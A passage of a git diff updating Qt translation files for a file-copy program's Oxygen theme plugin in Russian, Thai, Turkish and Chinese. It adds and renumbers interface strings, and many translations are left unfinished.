- <location filename="../../interface.ui" line="706"/>
- <source>Don&apos;t close if errors are found</source>
- <translation>Не закрывать, если найдены ошибки</translation>
+ <location filename="../../interface.ui" line="456"/>
+ <source>Add file/folder</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="711"/>
- <source>Never close</source>
- <translation>Никогда не закрывать</translation>
+ <location filename="../../interface.ui" line="485"/>
+ <source>Delete the selected items</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="716"/>
- <source>Always close</source>
- <translation>Всегда закрывайте</translation>
+ <location filename="../../interface.ui" line="511"/>
+ <source>Search</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="727"/>
- <source>Speed limit</source>
- <translation>ограничение скорости</translation>
+ <location filename="../../interface.ui" line="540"/>
+ <source>Export the transfer list</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="758"/>
- <source> KB/s</source>
- <translation> Кб/с</translation>
+ <location filename="../../interface.ui" line="566"/>
+ <source>Import the transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="621"/>
+ <source>Previous</source>
+ <translation>предыдущий</translation>
</message>
<message>
- <location filename="../../interface.ui" line="790"/>
- <source>File collisions</source>
- <translation>Файл столкновений</translation>
+ <location filename="../../interface.ui" line="628"/>
+ <source>Next</source>
+ <translation>следующий</translation>
</message>
<message>
- <location filename="../../interface.ui" line="811"/>
- <location filename="../../interface.ui" line="871"/>
- <source>What to do: </source>
- <translation>Что делать: </translation>
+ <location filename="../../interface.ui" line="663"/>
+ <location filename="../../interface.ui" line="732"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="850"/>
- <source>Copy errors</source>
- <translation>Копировать ошибки</translation>
+ <location filename="../../interface.ui" line="683"/>
+ <source>Export the errors into transfer list</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="928"/>
- <source>Interface</source>
- <translation>интерфейс</translation>
+ <location filename="../../interface.ui" line="722"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="727"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="939"/>
- <source>Show speed as main informations</source>
- <translation>Показать скорости в качестве основной информации</translation>
+ <location filename="../../interface.ui" line="741"/>
+ <source>Interface</source>
+ <translation>интерфейс</translation>
</message>
<message>
- <location filename="../../interface.ui" line="976"/>
+ <location filename="../../interface.ui" line="778"/>
<source>Add file</source>
<translation>Добавить файл</translation>
</message>
<message>
- <location filename="../../interface.ui" line="985"/>
+ <location filename="../../interface.ui" line="787"/>
<source>Add folder</source>
<translation>Добавить папку</translation>
</message>
<message>
- <location filename="../../interface.ui" line="994"/>
+ <location filename="../../interface.ui" line="796"/>
<source>Move file(s)</source>
<translation>Перемещение файла(ов)</translation>
</message>
<message>
- <location filename="../../interface.ui" line="1003"/>
+ <location filename="../../interface.ui" line="805"/>
<source>Move folder</source>
<translation>Перемещение папки</translation>
</message>
<message>
- <location filename="../../interface.ui" line="1012"/>
+ <location filename="../../interface.ui" line="814"/>
<source>Copy file(s)</source>
<translation>Копировать файл (ы)</translation>
</message>
<message>
- <location filename="../../interface.ui" line="1021"/>
+ <location filename="../../interface.ui" line="823"/>
<source>Copy folder</source>
<translation>Копировать папку</translation>
</message>
+</context>
+<context>
+ <name>themesOptions</name>
<message>
- <location filename="../../interface.ui" line="487"/>
- <source>Ctrl+F</source>
- <translation>Ctrl+F</translation>
+ <location filename="../../themesOptions.ui" line="253"/>
+ <source>Show dual progression</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="133"/>
- <source>Shutdown when is finish</source>
- <translation>Shutdown, когда будет закончить</translation>
+ <location filename="../../themesOptions.ui" line="205"/>
+ <source>Show speed as main information</source>
+ <translation type="unfinished">Показать скорости в качестве основной информации</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="44"/>
+ <source>Use</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="50"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="67"/>
+ <source>Minimize on close to systray</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="96"/>
+ <source>At the end of the copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="103"/>
+ <location filename="../../themesOptions.ui" line="137"/>
+ <source>Limit copy speed to</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="176"/>
+ <source>Start minimized</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="292"/>
+ <source>Click to edit the color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <source>At the end of the copy: </source>
+ <translation type="obsolete">В конце копии: </translation>
+ </message>
+ <message>
+ <source>Limit copy speed at:</source>
+ <translation type="obsolete">Предельная скорость копирования по адресу:</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="147"/>
+ <source> KB/s</source>
+ <translation type="unfinished"> Кб/с</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="199"/>
+ <source>Informations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="237"/>
+ <source>Display</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="243"/>
+ <source>Speed with progress bar</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="273"/>
+ <source>Progression color</source>
+ <translation type="unfinished"></translation>
</message>
-</context>
-<context>
- <name>options</name>
<message>
- <location filename="../../options.ui" line="20"/>
- <source>Show speed as main informations</source>
- <translation>Показать скорости в качестве основной информации</translation>
+ <location filename="../../themesOptions.ui" line="263"/>
+ <source>Show progression in the title</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../options.ui" line="33"/>
- <source>Start with more button pushed</source>
- <translation>Начнем с более толкнул кнопку</translation>
+ <location filename="../../themesOptions.ui" line="60"/>
+ <source>Always on top</source>
+ <translation type="unfinished"></translation>
</message>
</context>
</TS>
diff --git a/plugins/Themes/Oxygen/Languages/th/translation.ts b/plugins/Themes/Oxygen/Languages/th/translation.ts
index 0708252..ae86b54 100644
--- a/plugins/Themes/Oxygen/Languages/th/translation.ts
+++ b/plugins/Themes/Oxygen/Languages/th/translation.ts
@@ -4,15 +4,84 @@
<context>
<name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="184"/>
+ <location filename="../../interface.cpp" line="240"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="310"/>
<source>File %1/%2, size: %3/%4</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="737"/>
+ <location filename="../../interface.cpp" line="524"/>
+ <source>Copy list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="526"/>
+ <source>Move list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="947"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="948"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="949"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="951"/>
<source>File Name, 0KB</source>
<translation type="unfinished"></translation>
</message>
+ <message>
+ <location filename="../../interface.cpp" line="1134"/>
+ <location filename="../../interface.cpp" line="1146"/>
+ <location filename="../../interface.cpp" line="1158"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1233"/>
+ <location filename="../../interface.cpp" line="1237"/>
+ <location filename="../../interface.cpp" line="1239"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="223"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="224"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="225"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="421"/>
+ <location filename="../../ThemesFactory.cpp" line="436"/>
+ <location filename="../../ThemesFactory.cpp" line="451"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
</context>
<context>
<name>interfaceCopy</name>
@@ -22,178 +91,238 @@
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="69"/>
+ <location filename="../../interface.ui" line="65"/>
<source>To:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="196"/>
- <source>0KB/sec</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../interface.ui" line="216"/>
+ <location filename="../../interface.ui" line="226"/>
<source>&amp;More</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="236"/>
+ <location filename="../../interface.ui" line="246"/>
<source>&amp;Pause</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="250"/>
+ <location filename="../../interface.ui" line="260"/>
<source>&amp;Skip</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="261"/>
+ <location filename="../../interface.ui" line="271"/>
<source>&amp;Cancel</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="276"/>
- <location filename="../../interface.ui" line="748"/>
- <source>Limit copy speed at:</source>
+ <location filename="../../interface.ui" line="118"/>
+ <source>Close on transfer completion</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="293"/>
- <source>Unlimited</source>
+ <location filename="../../interface.ui" line="286"/>
+ <source>Limit copy speed to:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="323"/>
- <source>Copy list</source>
+ <location filename="../../interface.ui" line="329"/>
+ <source>Transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="591"/>
- <source>Previous</source>
+ <location filename="../../interface.ui" line="352"/>
+ <source>Move the selected items to the top</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="598"/>
- <source>Next</source>
+ <location filename="../../interface.ui" line="378"/>
+ <source>Move up the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="637"/>
- <source>Options</source>
+ <location filename="../../interface.ui" line="404"/>
+ <source>Move down the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="646"/>
- <source>Copy end</source>
+ <location filename="../../interface.ui" line="430"/>
+ <source>Move the selected items to the bottom</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="667"/>
- <source>At the end of the copy: </source>
+ <location filename="../../interface.ui" line="456"/>
+ <source>Add file/folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="706"/>
- <source>Don&apos;t close if errors are found</source>
+ <location filename="../../interface.ui" line="485"/>
+ <source>Delete the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="711"/>
- <source>Never close</source>
+ <location filename="../../interface.ui" line="511"/>
+ <source>Search</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="716"/>
- <source>Always close</source>
+ <location filename="../../interface.ui" line="540"/>
+ <source>Export the transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="727"/>
- <source>Speed limit</source>
+ <location filename="../../interface.ui" line="566"/>
+ <source>Import the transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="758"/>
- <source> KB/s</source>
+ <location filename="../../interface.ui" line="621"/>
+ <source>Previous</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="790"/>
- <source>File collisions</source>
+ <location filename="../../interface.ui" line="628"/>
+ <source>Next</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="811"/>
- <location filename="../../interface.ui" line="871"/>
- <source>What to do: </source>
+ <location filename="../../interface.ui" line="663"/>
+ <location filename="../../interface.ui" line="732"/>
+ <source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="850"/>
- <source>Copy errors</source>
+ <location filename="../../interface.ui" line="683"/>
+ <source>Export the errors into transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="928"/>
- <source>Interface</source>
+ <location filename="../../interface.ui" line="722"/>
+ <source>Source</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="939"/>
- <source>Show speed as main informations</source>
+ <location filename="../../interface.ui" line="727"/>
+ <source>Destination</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="976"/>
+ <location filename="../../interface.ui" line="741"/>
+ <source>Interface</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="778"/>
<source>Add file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="985"/>
+ <location filename="../../interface.ui" line="787"/>
<source>Add folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="994"/>
+ <location filename="../../interface.ui" line="796"/>
<source>Move file(s)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1003"/>
+ <location filename="../../interface.ui" line="805"/>
<source>Move folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1012"/>
+ <location filename="../../interface.ui" line="814"/>
<source>Copy file(s)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1021"/>
+ <location filename="../../interface.ui" line="823"/>
<source>Copy folder</source>
<translation type="unfinished"></translation>
</message>
+</context>
+<context>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="253"/>
+ <source>Show dual progression</source>
+ <translation type="unfinished"></translation>
+ </message>
<message>
- <location filename="../../interface.ui" line="487"/>
- <source>Ctrl+F</source>
+ <location filename="../../themesOptions.ui" line="205"/>
+ <source>Show speed as main information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="133"/>
- <source>Shutdown when is finish</source>
+ <location filename="../../themesOptions.ui" line="44"/>
+ <source>Use</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="50"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="67"/>
+ <source>Minimize on close to systray</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="96"/>
+ <source>At the end of the copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="103"/>
+ <location filename="../../themesOptions.ui" line="137"/>
+ <source>Limit copy speed to</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="147"/>
+ <source> KB/s</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="176"/>
+ <source>Start minimized</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="199"/>
+ <source>Informations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="237"/>
+ <source>Display</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="243"/>
+ <source>Speed with progress bar</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="273"/>
+ <source>Progression color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="292"/>
+ <source>Click to edit the color</source>
<translation type="unfinished"></translation>
</message>
-</context>
-<context>
- <name>options</name>
<message>
- <location filename="../../options.ui" line="20"/>
- <source>Show speed as main informations</source>
+ <location filename="../../themesOptions.ui" line="263"/>
+ <source>Show progression in the title</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../options.ui" line="33"/>
- <source>Start with more button pushed</source>
+ <location filename="../../themesOptions.ui" line="60"/>
+ <source>Always on top</source>
<translation type="unfinished"></translation>
</message>
</context>
diff --git a/plugins/Themes/Oxygen/Languages/tr/translation.ts b/plugins/Themes/Oxygen/Languages/tr/translation.ts
index 0708252..ae86b54 100644
--- a/plugins/Themes/Oxygen/Languages/tr/translation.ts
+++ b/plugins/Themes/Oxygen/Languages/tr/translation.ts
@@ -4,15 +4,84 @@
<context>
<name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="184"/>
+ <location filename="../../interface.cpp" line="240"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="310"/>
<source>File %1/%2, size: %3/%4</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="737"/>
+ <location filename="../../interface.cpp" line="524"/>
+ <source>Copy list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="526"/>
+ <source>Move list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="947"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="948"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="949"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="951"/>
<source>File Name, 0KB</source>
<translation type="unfinished"></translation>
</message>
+ <message>
+ <location filename="../../interface.cpp" line="1134"/>
+ <location filename="../../interface.cpp" line="1146"/>
+ <location filename="../../interface.cpp" line="1158"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1233"/>
+ <location filename="../../interface.cpp" line="1237"/>
+ <location filename="../../interface.cpp" line="1239"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="223"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="224"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="225"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="421"/>
+ <location filename="../../ThemesFactory.cpp" line="436"/>
+ <location filename="../../ThemesFactory.cpp" line="451"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
</context>
<context>
<name>interfaceCopy</name>
@@ -22,178 +91,238 @@
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="69"/>
+ <location filename="../../interface.ui" line="65"/>
<source>To:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="196"/>
- <source>0KB/sec</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../interface.ui" line="216"/>
+ <location filename="../../interface.ui" line="226"/>
<source>&amp;More</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="236"/>
+ <location filename="../../interface.ui" line="246"/>
<source>&amp;Pause</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="250"/>
+ <location filename="../../interface.ui" line="260"/>
<source>&amp;Skip</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="261"/>
+ <location filename="../../interface.ui" line="271"/>
<source>&amp;Cancel</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="276"/>
- <location filename="../../interface.ui" line="748"/>
- <source>Limit copy speed at:</source>
+ <location filename="../../interface.ui" line="118"/>
+ <source>Close on transfer completion</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="293"/>
- <source>Unlimited</source>
+ <location filename="../../interface.ui" line="286"/>
+ <source>Limit copy speed to:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="323"/>
- <source>Copy list</source>
+ <location filename="../../interface.ui" line="329"/>
+ <source>Transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="591"/>
- <source>Previous</source>
+ <location filename="../../interface.ui" line="352"/>
+ <source>Move the selected items to the top</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="598"/>
- <source>Next</source>
+ <location filename="../../interface.ui" line="378"/>
+ <source>Move up the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="637"/>
- <source>Options</source>
+ <location filename="../../interface.ui" line="404"/>
+ <source>Move down the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="646"/>
- <source>Copy end</source>
+ <location filename="../../interface.ui" line="430"/>
+ <source>Move the selected items to the bottom</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="667"/>
- <source>At the end of the copy: </source>
+ <location filename="../../interface.ui" line="456"/>
+ <source>Add file/folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="706"/>
- <source>Don&apos;t close if errors are found</source>
+ <location filename="../../interface.ui" line="485"/>
+ <source>Delete the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="711"/>
- <source>Never close</source>
+ <location filename="../../interface.ui" line="511"/>
+ <source>Search</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="716"/>
- <source>Always close</source>
+ <location filename="../../interface.ui" line="540"/>
+ <source>Export the transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="727"/>
- <source>Speed limit</source>
+ <location filename="../../interface.ui" line="566"/>
+ <source>Import the transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="758"/>
- <source> KB/s</source>
+ <location filename="../../interface.ui" line="621"/>
+ <source>Previous</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="790"/>
- <source>File collisions</source>
+ <location filename="../../interface.ui" line="628"/>
+ <source>Next</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="811"/>
- <location filename="../../interface.ui" line="871"/>
- <source>What to do: </source>
+ <location filename="../../interface.ui" line="663"/>
+ <location filename="../../interface.ui" line="732"/>
+ <source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="850"/>
- <source>Copy errors</source>
+ <location filename="../../interface.ui" line="683"/>
+ <source>Export the errors into transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="928"/>
- <source>Interface</source>
+ <location filename="../../interface.ui" line="722"/>
+ <source>Source</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="939"/>
- <source>Show speed as main informations</source>
+ <location filename="../../interface.ui" line="727"/>
+ <source>Destination</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="976"/>
+ <location filename="../../interface.ui" line="741"/>
+ <source>Interface</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="778"/>
<source>Add file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="985"/>
+ <location filename="../../interface.ui" line="787"/>
<source>Add folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="994"/>
+ <location filename="../../interface.ui" line="796"/>
<source>Move file(s)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1003"/>
+ <location filename="../../interface.ui" line="805"/>
<source>Move folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1012"/>
+ <location filename="../../interface.ui" line="814"/>
<source>Copy file(s)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1021"/>
+ <location filename="../../interface.ui" line="823"/>
<source>Copy folder</source>
<translation type="unfinished"></translation>
</message>
+</context>
+<context>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="253"/>
+ <source>Show dual progression</source>
+ <translation type="unfinished"></translation>
+ </message>
<message>
- <location filename="../../interface.ui" line="487"/>
- <source>Ctrl+F</source>
+ <location filename="../../themesOptions.ui" line="205"/>
+ <source>Show speed as main information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="133"/>
- <source>Shutdown when is finish</source>
+ <location filename="../../themesOptions.ui" line="44"/>
+ <source>Use</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="50"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="67"/>
+ <source>Minimize on close to systray</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="96"/>
+ <source>At the end of the copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="103"/>
+ <location filename="../../themesOptions.ui" line="137"/>
+ <source>Limit copy speed to</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="147"/>
+ <source> KB/s</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="176"/>
+ <source>Start minimized</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="199"/>
+ <source>Informations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="237"/>
+ <source>Display</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="243"/>
+ <source>Speed with progress bar</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="273"/>
+ <source>Progression color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="292"/>
+ <source>Click to edit the color</source>
<translation type="unfinished"></translation>
</message>
-</context>
-<context>
- <name>options</name>
<message>
- <location filename="../../options.ui" line="20"/>
- <source>Show speed as main informations</source>
+ <location filename="../../themesOptions.ui" line="263"/>
+ <source>Show progression in the title</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../options.ui" line="33"/>
- <source>Start with more button pushed</source>
+ <location filename="../../themesOptions.ui" line="60"/>
+ <source>Always on top</source>
<translation type="unfinished"></translation>
</message>
</context>
diff --git a/plugins/Themes/Oxygen/Languages/zh/translation.ts b/plugins/Themes/Oxygen/Languages/zh/translation.ts
index c5fd56b..1ee75a9 100644
--- a/plugins/Themes/Oxygen/Languages/zh/translation.ts
+++ b/plugins/Themes/Oxygen/Languages/zh/translation.ts
@@ -4,196 +4,325 @@
<context>
<name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="184"/>
+ <location filename="../../interface.cpp" line="240"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="310"/>
<source>File %1/%2, size: %3/%4</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="737"/>
+ <location filename="../../interface.cpp" line="524"/>
+ <source>Copy list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="526"/>
+ <source>Move list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="947"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="948"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="949"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="951"/>
<source>File Name, 0KB</source>
<translation type="unfinished"></translation>
</message>
+ <message>
+ <location filename="../../interface.cpp" line="1134"/>
